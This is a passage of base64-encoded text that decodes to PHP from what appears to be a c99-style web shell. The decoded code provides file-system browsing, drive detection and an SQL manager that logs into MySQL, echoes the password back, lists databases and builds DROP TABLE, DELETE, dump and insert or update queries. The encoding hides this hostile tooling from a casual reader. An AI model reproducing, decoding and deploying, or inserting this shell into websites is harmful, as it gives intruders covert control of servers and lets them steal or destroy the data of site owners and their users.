VE9SLiI8L2I+PC9hPiI7CiAkaSsrOwp9CmVjaG8gIiZuYnNwOyZuYnNwOyZuYnNwOyI7CmlmIChpc193 cml0YWJsZSgkZCkpCnsKICR3ZCA9IFRSVUU7CiAkd2R0ID0gIjxmb250IGNvbG9yPWdyZWVuPlsgb2sg XTwvZm9udD4iOwogZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJt cygkZCkpLiI8L2ZvbnQ+PC9iPiI7Cn0KZWxzZQp7CiAkd2QgPSBGQUxTRTsKICR3ZHQgPSAiPGZvbnQg Y29sb3I9cmVkPlsgUmVhZC1Pbmx5IF08L2ZvbnQ+IjsKIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2xv cigkZCkuIjwvYj4iOwp9CmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpCnsKICRmcmVl ID0gZGlza19mcmVlX3NwYWNlKCRkKTsKICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGQpOwogaWYg KCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9CiBpZiAoJHRvdGFsID09PSBGQUxTRSkgeyR0b3Rh bCA9IDA7fQogaWYgKCRmcmVlIDwgMCkgeyRmcmVlID0gMDt9CiBpZiAoJHRvdGFsIDwgMCkgeyR0b3Rh bCA9IDA7fQogJHVzZWQgPSAkdG90YWwtJGZyZWU7CiAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwLygk dG90YWwvJGZyZWUpLDIpOwogZWNobyAiPGJyPjxiPkZyZWUgIi52aWV3X3NpemUoJGZyZWUpLiIgb2Yg Ii52aWV3X3NpemUoJHRvdGFsKS4iICgiLiRmcmVlX3BlcmNlbnQuIiUpPC9iPiI7Cn0KZWNobyAiPGJy PiI7CiRsZXR0ZXJzID0gIiI7CmlmICgkd2luKQp7CiAkdiA9IGV4cGxvZGUoIlxcIiwkZCk7CiAkdiA9 ICR2WzBdOwogZm9yZWFjaCAocmFuZ2UoImEiLCJ6IikgYXMgJGxldHRlcikKIHsKICAkYm9vbCA9ICRp c2Rpc2tldHRlID0gaW5fYXJyYXkoJGxldHRlciwkc2FmZW1vZGVfZGlza2V0dGVzKTsKICBpZiAoISRi

b29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQogIGlmICgkYm9vbCkKICB7CiAgICRs ZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJGxldHRlci4i OlxcIikuIlwiIi4oJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3Vy ZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9y IG1heSBvY2N1ci4nKVwiIjoiIikuIj5bICI7CiAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0 ZXJzIC49ICRsZXR0ZXI7fQogICBlbHNlIHskbGV0dGVycyAuPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4k bGV0dGVyLiI8L2ZvbnQ+Ijt9CiAgICRsZXR0ZXJzIC49ICIgXTwvYT4gIjsKICB9CiB9CiBpZiAoIWVt cHR5KCRsZXR0ZXJzKSkge2VjaG8gIjxiPkRldGVjdGVkIGRyaXZlczwvYj46ICIuJGxldHRlcnMuIjxi cj4iO30KfQppZiAoY291bnQoJHF1aWNrbGF1bmNoKSA+IDApCnsKIGZvcmVhY2goJHF1aWNrbGF1bmNo IGFzICRpdGVtKQogewogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRp dGVtWzFdKTsKICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOwog ICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7CiAgaWYgKGVtcHR5KCR2KSkgeyRhID0gZXhwbG9kZShESVJF Q1RPUllfU0VQQVJBVE9SLCRkKTsgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsgJHYgPSBqb2luKERJUkVD VE9SWV9TRVBBUkFUT1IsJGEpO30KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNv ZGUoJHYpLCRpdGVtWzFdKTsKICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVsw XS4iPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7CiB9Cn0KZWNobyAiPC9wPjwvdGQ+PC90cj48 L3RhYmxlPjxicj4iOwppZiAoKCFlbXB0eSgkZG9uYXRlZF9odG1sKSkgYW5kIChpbl9hcnJheSgkYWN0 LCRkb25hdGVkX2FjdCkpKSB7ZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xs YXBzZVwiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3 aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRl cj0xPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+Ii4kZG9uYXRlZF9odG1sLiI8 L3RkPjwvdHI+PC90YWJsZT48YnI+Ijt9CmVjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBT RTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRk aW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBj MCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiI7CmlmICgkYWN0 ID09ICIiKSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30KaWYgKCRhY3QgPT0gInNxbCIpCnsKICRzcWxf c3VybCA9ICRzdXJsLiJhY3Q9c3FsIjsKIGlmICgkc3FsX2xvZ2luKSAgeyRzcWxfc3VybCAuPSAiJnNx bF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7fQogaWYgKCRzcWxfcGFzc3dkKSB7 JHNxbF9zdXJsIC49ICImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpO30K IGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNo YXJzKCRzcWxfc2VydmVyKTt9CiBpZiAoJHNxbF9wb3J0KSAgIHskc3FsX3N1cmwgLj0gIiZzcWxfcG9y dD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTt9CiBpZiAoJHNxbF9kYikgICAgIHskc3FsX3N1 cmwgLj0gIiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpO30KICRzcWxfc3VybCAuPSAi JiI7CiA/PjxoMz5BdHRlbnRpb24hIFNRTC1NYW5hZ2VyIGlzIDx1Pk5PVDwvdT4gcmVhZHkgbW9kdWxl ISBEb24ndCByZXBvcnRzIGJ1Z3MuPC9oMz48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29s bGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBh ZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBj MCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0 PSIxIiBjb2xzcGFuPSIyIiB2YWxpZ249InRvcCI+PGNlbnRlcj48P3BocAogaWYgKCRzcWxfc2VydmVy KQogewogICRzcWxfc29jayA9IG15c3FsX2Nvbm5lY3QoJHNxbF9zZXJ2ZXIuIjoiLiRzcWxfcG9ydCwg JHNxbF9sb2dpbiwgJHNxbF9wYXNzd2QpOwogICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7CiAgQG15 c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7CiAgaWYgKCRzcWxfcXVlcnkgYW5kICRzdWJt aXQpIHskc3FsX3F1ZXJ5X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKTsg JHNxbF9xdWVyeV9lcnJvciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiB9CiBlbHNlIHskc3FsX3NvY2sg PSBGQUxTRTt9CiBlY2hvICI8Yj5TUUwgTWFuYWdlcjo8L2I+PGJyPiI7CiBpZiAoISRzcWxfc29jaykK IHsKICBpZiAoISRzcWxfc2VydmVyKSB7ZWNobyAiTk8gQ09OTkVDVElPTiI7fQogIGVsc2Uge2VjaG8g IjxjZW50ZXI+PGI+Q2FuJ3QgY29ubmVjdDwvYj48L2NlbnRlcj4iOyBlY2hvICI8Yj4iLiRlcnIuIjwv Yj4iO30KIH0KIGVsc2UKIHsKICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOwogICRzcWxxdWlja2xh dW5jaFtdID0gYXJyYXkoIkluZGV4Iiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lh bGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNz d2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9 Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFy cmF5KCJRdWVyeSIsJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNx bF90YmwpKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXItc3RhdHVzIiwkc3VybC4i YWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3 ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFs Y2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCku IiZzcWxfYWN0PXNlcnZlcnN0YXR1cyIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZl ciB2YXJpYWJsZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNx bF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxf

c2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVj aWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVydmFycyIpOwogICRzcWxxdWlja2xhdW5j aFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNp YWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFz c3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0 PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1wcm9jZXNzZXMiKTsKICAkc3Fs cXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCRzdXJsLiJhY3Q9c3FsIik7CiAgZWNobyAiPGNl bnRlcj48Yj5NeVNRTCAiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIgKHByb3RvIHYuIi5teXNxbF9n ZXRfcHJvdG9faW5mbyAoKS4iKSBydW5uaW5nIGluICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZl cikuIjoiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iIGFzICIuaHRtbHNwZWNpYWxjaGFycygk c3FsX2xvZ2luKS4iQCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiAocGFzc3dvcmQgLSBc IiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiKTwvYj48YnI+IjsKICBpZiAoY291bnQo JHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2Vj aG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPjxiPiIuJGl0ZW1bMF0uIjwvYj48L2E+IF0gIjt9 fQogIGVjaG8gIjwvY2VudGVyPiI7CiB9CiBlY2hvICI8L3RkPjwvdHI+PHRyPiI7CiBpZiAoISRzcWxf c29jaykgez8+PHRkIHdpZHRoPSIyOCUiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGNlbnRlcj48 Zm9udCBzaXplPSI1Ij4gaSA8L2ZvbnQ+PC9jZW50ZXI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2lu IGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8 L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRo PSI5MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0w IGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJvcmRlcj0wPjx0cj48dGQ+Jm5ic3A7PGI+UGxlYXNl LCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48 Yj5QYXNzd29yZDwvYj4mbmJzcDs8L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj4mbmJzcDs8L3RkPjwvdHI+ PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlw ZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjx0cj48dGQ+PGlucHV0IHR5cGU9InRleHQi IG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9InJvb3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1 dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+ PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgbWF4bGVuZ3Ro PSI2NCI+PC90ZD48L3RyPjx0cj48dGQ+PGI+SG9zdDwvYj48L3RkPjx0ZD48Yj5QT1JUPC9iPjwvdGQ+ PC90cj48dHI+PHRkIGFsaWduPXJpZ2h0PjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfc2VydmVy IiB2YWx1ZT0ibG9jYWxob3N0IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4 dCIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSIzMzA2IiBtYXhsZW5ndGg9IjYiIHNpemU9IjMiPjwvdGQ+ PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPjwvdHI+PHRyPjx0ZD48 L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC90ZD48P3BocCB9CiBlbHNlCiB7CiAgLy9TdGFydCBsZWZ0 IHBhbmVsCiAgaWYgKCFlbXB0eSgkc3FsX2RiKSkKICB7CiAgID8+PHRkIHdpZHRoPSIyNSUiIGhlaWdo dD0iMTAwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmwuImFjdD1zcWwmc3Fs X2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3Bl Y2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxf c2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxi PkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwCiAgICRyZXN1bHQgPSBteXNxbF9s aXN0X3RhYmxlcygkc3FsX2RiKTsKICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9y KCk7fQogICBlbHNlCiAgIHsKICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+ PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7CiAgICAkYyA9 IDA7CiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGNvdW50ID0g bXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOyAkY291bnRfcm93ID0g bXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsgZWNobyAiPGI+wrsmbmJzcDs8YSBocmVmPVwiIi4kc3Fs X3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNw ZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+ PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50 KTsgJGMrKzt9CiAgICBpZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlLiI7 fQogICB9CiAgfQogIGVsc2UKICB7CiAgID8+PHRkIHdpZHRoPSIxIiBoZWlnaHQ9IjEwMCIgdmFsaWdu PSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNxbF9zdXJsOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhy IHNpemU9IjEiIG5vc2hhZGU+PD9waHAKICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfZGJzKCRzcWxfc29j ayk7CiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgZWxzZQogICB7 CiAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRk ZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xv Z2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlu cHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNw ZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxf c2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4i

PjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1s c3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2VsZWN0IG5hbWU9InNxbF9kYiI+PD9waHAKICAg ICRjID0gMDsKICAgICRkYnMgPSAiIjsKICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRy ZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9k YiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwv b3B0aW9uPiI7ICRjKys7fQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4k Yy4iKTwvb3B0aW9uPiI7CiAgICBlY2hvICRkYnM7CiAgIH0KICAgPz48L3NlbGVjdD48aHIgc2l6ZT0i MSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1 dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/cGhwCiAgfQogIC8vRW5kIGxlZnQgcGFu ZWwKICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9w XCI+IjsKICAvL1N0YXJ0IGNlbnRlciBwYW5lbAogICRkaXBsYXkgPSBUUlVFOwogIGlmICgkc3FsX2Ri KQogIHsKICAgaWYgKCFpc19udW1lcmljKCRjKSkgeyRjID0gMDt9CiAgIGlmICgkYyA9PSAwKSB7JGMg PSAibm8iO30KICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRoZXJlIGFy ZSAiLiRjLiIgdGFibGUocykgaW4gdGhpcyBEQiAoIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiIp Ljxicj4iOwogICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVp Y2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVt WzBdLiI8L2E+IF0gIjt9fQogICBlY2hvICI8L2I+PC9jZW50ZXI+IjsKICAgJGFjdHMgPSBhcnJheSgi IiwiZHVtcCIpOwogICBpZiAoJHNxbF9hY3QgPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9Q IFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAs Ijt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1 ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5IikgeyRzcWxfcXVlcnkgPSAiIjsg Zm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFIEZST00gYCIuJHYuImAg XG4iO30gJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZHVtcCIp IHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlz dGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX2FjdCA9ICJkdW1wIjt9CiAgIGVs c2VpZiAoJHNxbF9hY3QgPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBm b3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9x dWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAg ZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBU QUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7 fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVy eSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBB SVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJg ICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAi cXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0g IkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAi LiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9h Y3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZGVsZXRlcm93IikgeyRzcWxfcXVl cnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3FsX3F1ZXJ5ID0gIkRFTEVURSAqIEZS T00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2goJGJveHJvdyBhcyAkdikgeyRzcWxfcXVl cnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7 fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSk7fSAkc3FsX2FjdCA9ICJxdWVyeSI7 fQogICBlbHNlaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikKICAgewogICAgaWYgKCRzcWxfdGJs X2luc2VydF9yYWRpbyA9PSAxKQogICAgewogICAgICRrZXlzID0gIiI7CiAgICAgJGFrZXlzID0gYXJy YXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOwogICAgIGZvcmVhY2ggKCRha2V5cyBhcyAkdikgeyRrZXlz IC49ICJgIi5hZGRzbGFzaGVzKCR2KS4iYCwgIjt9CiAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5 cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQogICAgICR2YWx1ZXMgPSAiIjsKICAg ICAkaSA9IDA7CiAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYp IHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMg Lj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVu Y3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9CiAgICAgaWYgKCFlbXB0 eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9 CiAgICAgJHNxbF9xdWVyeSA9ICJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiAp IFZBTFVFUyAoICIuJHZhbHVlcy4iICk7IjsKICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7CiAgICAgJHNx bF90YmxfYWN0ID0gImJyb3dzZSI7CiAgICB9CiAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRp byA9PSAyKQogICAgewogICAgICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwi LCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOwogICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRz cWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsi 